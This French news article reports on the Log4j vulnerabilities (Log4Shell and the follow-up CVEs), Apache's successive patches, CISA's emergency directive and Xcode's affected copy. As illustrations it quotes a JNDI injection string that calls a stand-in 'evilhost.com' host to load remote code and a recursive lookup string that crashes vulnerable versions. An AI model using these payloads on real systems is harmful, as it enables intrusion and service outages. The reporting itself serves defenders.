L'Apache Software Foundation (ASF) a révélé un troisième bogue dans sa bibliothèque de journalisation open source Log4 Java Log4j. CVE-2021-45105 est un bogue de récursivité infinie noté 7.5/10 qui était présent dans les versions Log4j2 2.0-alpha1 à 2.16.0. Le correctif est disponible dans la version 2.17.0 de Log4j. C'est la troisième nouvelle version de l'outil au cours des dix derniers jours.Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Il y a quelques jours, une vulnérabilité dans Log4J a été découverte. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs mardi soir, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
Mercredi, des chercheurs de la société de sécurité Praetorian ont déclaré qu'il y avait une vulnérabilité encore plus grave dans 2.15.0 (une faille de divulgation d'informations qui peut être utilisée pour télécharger des données à partir des serveurs concernés).
« Dans nos recherches, nous avons démontré que la version 2.15.0 peut toujours permettre l'exfiltration de données sensibles dans certaines circonstances », a écrit le chercheur prétorien Nathan Sportsman. « Nous avons transmis les détails techniques du problème à la Fondation Apache, mais dans l'intervalle, nous recommandons fortement aux clients de passer à la version 2.16.0 le plus rapidement possible. »
Les chercheurs n'ont pas fourni de détails supplémentaires sur la vulnérabilité car ils ne voulaient pas fournir d'informations qui permettraient aux pirates de l'exploiter plus facilement. Cependant, ils ont publié la vidéo suivante qui montre leur exploit de preuve de concept en action :
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :
« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».
L'ASF a également décrit les mesures d'atténuation suivantes :
- Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
- Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
CISA publie une directive d'urgence pour corriger la vulnérabilité Log4j
Vendredi, le Cybersecurity and Infrastructure Security Agency (CISA) a intensifié son appel pour corriger la vulnérabilité Apache Log4j avec une directive d'urgence exigeant que les agences fédérales américaines prennent des mesures correctives avant 17 h HNE le 23 décembre 2021.
La bibliothèque logicielle comprend Log4j un langage de formatage de texte qui permet l'exécution de code et la vulnérabilité permet à un attaquant distant de créer une chaîne comme ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} pour récupérer l'objet référencé sur le serveur spécifié et l'exécuter.
La faille, appelée Log4Shell ou Logjam, est classée Critique avec un score CVSS de 10,0 et est déjà activement exploitée.
«*Comme Log4Shell est une faille critique avec une surface d'attaque énorme et est très simple à exploiter, les acteurs malveillants l'utilisent activement pour lancer leurs attaques même avec un correctif déjà publié », a déclaré Felipe Tarijon, analyste de logiciels malveillants chez Appgate. « Plusieurs groupes parrainés par l'État exploitent la faille dans la nature et apportent des modifications à l'exploit Log4j ».
Tarijon a déclaré que les botnets Muhstik et une variante de Mirai abusaient de la faille sur les appareils Linux avant la divulgation publique, et des activités d'exploitation telles que le déploiement de mineurs de crypto-monnaie ont été observées. Il a ajouté qu'une nouvelle famille de ransomwares ciblant Windows nommée Khonsari a été vue en train d'exploiter la vulnérabilité Log4j, qui a également été utilisée pour fournir le cheval de Troie d'accès à distance Orcus.
« Cette vulnérabilité, qui est largement exploitée par un nombre croissant d'acteurs de la menace, présente un défi urgent pour les défenseurs du réseau étant donné son utilisation généralisée », a déclaré la directrice de CISA, Jen Easterly, dans un communiqué. « Les utilisateurs finaux dépendront de leurs fournisseurs, et la communauté des fournisseurs doit immédiatement identifier, atténuer et corriger le large éventail de produits utilisant ce logiciel. »
Plus tôt la semaine dernière, la CISA a publié des directives d'atténuation ordonnant aux agences civiles fédérales de mettre à jour Log4j vers la version 2.15 d'ici le 24 décembre 2021, pour traiter CVE-2021-44228.
Mais mercredi, cet avis a été remplacé par la recommandation selon laquelle les entités concernées devraient passer à la version 2.16 pour remédier à un contournement d'atténuation et à une faille distincte qui avait été identifiée, CVE-2021-45046, qui permet à un attaquant de lancer une attaque par déni de service sur les appareils affectés via des charges utiles malveillantes.
La directive d'urgence exige que les agences civiles fédérales d'ici la fin du jour ouvrable du 23 décembre :
- identifient tous les systèmes qui acceptent des données sur Internet ;
- vérifient ces systèmes par rapport au référentiel GitHub géré par CISA*;
- appliquent le dernier correctif Log4j le cas échéant ou mette les systèmes vulnérables hors ligne*;
- soumettre une Pull Request identifiant les actifs non référencés*;
- et supposent que les systèmes vulnérables ont été compromis, avec l'enquête post-incident et l'atténuation que cela implique.
Avant 17 h HNE le 28 décembre 2021, les agences sont tenues de signaler les systèmes qu'elles ont identifiés au cours de ce processus et de détailler les mesures prises.
Il est possible que la directive évolue puisque les responsables bénévoles de Log4j ont identifié un bogue de récursivité infinie, affectant les versions jusqu'à 2.16, qui fera apparemment planter l'application si une substitution de chaîne est tentée sur ce modèle de chaîne ${${::-${::-$${ :: -j}}}}.
« Le premier correctif (2.15) présente toujours une vulnérabilité dans les configurations autres que celles par défaut permettant l'exfiltration de données sensibles », a souligné Tarijon. « Donc, l'application du dernier correctif en mettant à jour vers la version 2.16 suffirait à résoudre le problème d'exécution de code à distance (RCE). Cela désactive JNDI, le composant abusé pour tirer parti du RCE ».
Le bogue de récursivité dans la version 2.16, a-t-il dit, semble être moins critique (il est noté 7,5 sur l'échelle de sévérité) car il ne peut être utilisé que pour une attaque par déni de service qui fait planter le système de journalisation. Bien que le bogue RCE ait été corrigé dans la version 2.16, il s'attend à ce qu'il continue d'avoir un impact significatif en raison de l'énorme surface d'attaque qui dépend des fournisseurs et des tiers qui peuvent ne pas appliquer les correctifs assez rapidement.
« À titre de référence, les vulnérabilités de PrintSpooler en juillet de cette année ont conduit à un bogue RCE, corrigé par Microsoft, mais des exploits et des variantes ultérieurs sont apparus plus tard dès que les acteurs malveillants ont commencé à abuser de la vulnérabilité dans la nature », a expliqué Tarijon.
XCode 13.2 comporte la vulnérabilité Log4J
Sur le forum des développeurs iOS, un développeur a indiqué qu'il semble que la version actuelle de XCode 13.2 contienne la vulnérabilité Log4j. Ce à quoi Apple a répondu : « Bonjour, l'équipe Xcode est au courant de ce problème. Nous ne donnons généralement pas d'ETA pour le moment où un bogue sera corrigé, mais l'équipe est consciente qu'il s'agit d'un problème de sécurité ».
Dans la note de version de XCode 13.2.1, il est précisé :
« Xcode contient une copie de la bibliothèque log4j qui présente la vulnérabilité de sécurité CVE-2021-44228. Xcode télécharge automatiquement une version mise à jour de cette bibliothèque et l'installe dans ~/Library/Caches/com.apple.amp.itmstransporter. Lors de la soumission d'applications à l'App Store, Xcode utilise la version mise à jour de la bibliothèque ».
Sources : Apache, CISA (1, 2), Apple
).
Envoyé par Fleur en plastique
